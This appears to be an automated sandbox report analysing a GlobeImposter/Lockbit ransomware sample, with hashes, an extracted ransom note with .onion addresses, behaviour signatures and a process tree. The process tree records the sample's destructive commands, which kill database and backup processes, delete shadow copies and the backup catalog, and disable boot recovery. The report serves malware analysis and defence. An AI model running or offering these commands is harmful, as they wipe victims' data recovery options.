Analysis

  • max time kernel
    107s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    01-07-2022 04:08

General

  • Target

    ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043.exe

  • Size

    334KB

  • MD5

    8e45b07b7dbf71049ec7590994ce5632

  • SHA1

    8284940b7896c314d196ef7f1453687cd1b35a37

  • SHA256

    ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043

  • SHA512

    4e1f9ef55a387138cd09f7ef8dad4776f11a35448b9664bb3c78a6c2c4c69c0024247cdd03668afcaa3c3c67f1407fe37dcf7927534e35d2e7d67bb37322f5eb

Malware Config

Extracted

Path

C:\MSOCache\All Users\{90140000-0011-0000-0000-0000000FF1CE}-C\Restore-My-Files.txt

Family

globeimposter

Ransom Note
All your files are Encrypted! For data recovery needs decryptor. How to buy decryptor: ---------------------------------------------------------------------------------------- | 1. Download Tor browser - https://www.torproject.org/ and install it. | 2. Open link in TOR browser - http://alcx6zctcmhmn3kx.onion/ | 3. Follow the instructions on this page ---------------------------------------------------------------------------------------- Note! This link is available via "Tor Browser" only. ------------------------------------------------------------ Free decryption as guarantee. Before paying you can send us 1 file for free decryption. ------------------------------------------------------------ alternate address - http://helpinfh6vj47ift.onion/ DO NOT CHANGE DATA BELO ###s6dlsnhtjwbhr###ED56F6A208E3EB2###
URLs

http://alcx6zctcmhmn3kx.onion/

http://helpinfh6vj47ift.onion/

Signatures

  • GlobeImposter

    GlobeImposter is a ransomware first seen in 2017.

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Modifies extensions of user files 1 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 5 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043.exe
    "C:\Users\Admin\AppData\Local\Temp\ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Users\Admin\AppData\Local\Temp\ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043.exe
      "C:\Users\Admin\AppData\Local\Temp\ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043.exe"
      2⤵
      • Modifies extensions of user files
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1084
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c taskkill /f /im sql* & taskkill /f /im backup* & taskkill /f /im MSExchange* & taskkill /f /im Microsoft.Exchange.* & taskkill /f /im mysql* & vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2016
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im sql*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2044
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im backup*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:764
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im MSExchange*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1072
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im Microsoft.Exchange.*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:628
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im mysql*
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1672
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:2020
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1224
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:572
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:1176
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          4⤵
          • Deletes backup catalog
          PID:1528
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 2 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\ddf3a748583ee2b32dae1d4fad9ee5e6888c171f0f93f06f8752fa5e1ed79043.exe"
        3⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:844
        • C:\Windows\SysWOW64\PING.EXE
          ping 1.1.1.1 -n 2
          4⤵
          • Runs ping.exe
          PID:1672
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1904
  • C:\Windows\system32\wbengine.exe
    "C:\Windows\system32\wbengine.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1080
  • C:\Windows\System32\vdsldr.exe
    C:\Windows\System32\vdsldr.exe -Embedding
    1⤵
      PID:1164
    • C:\Windows\System32\vds.exe
      C:\Windows\System32\vds.exe
      1⤵
        PID:1744

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • memory/1084-57-0x0000000000400000-0x000000000040E000-memory.dmp

        Filesize

        56KB

      • memory/1084-70-0x0000000000400000-0x000000000040E000-memory.dmp

        Filesize

        56KB

      • memory/1528-69-0x000007FEFBFE1000-0x000007FEFBFE3000-memory.dmp

        Filesize

        8KB

      • memory/1984-54-0x00000000753C1000-0x00000000753C3000-memory.dmp

        Filesize

        8KB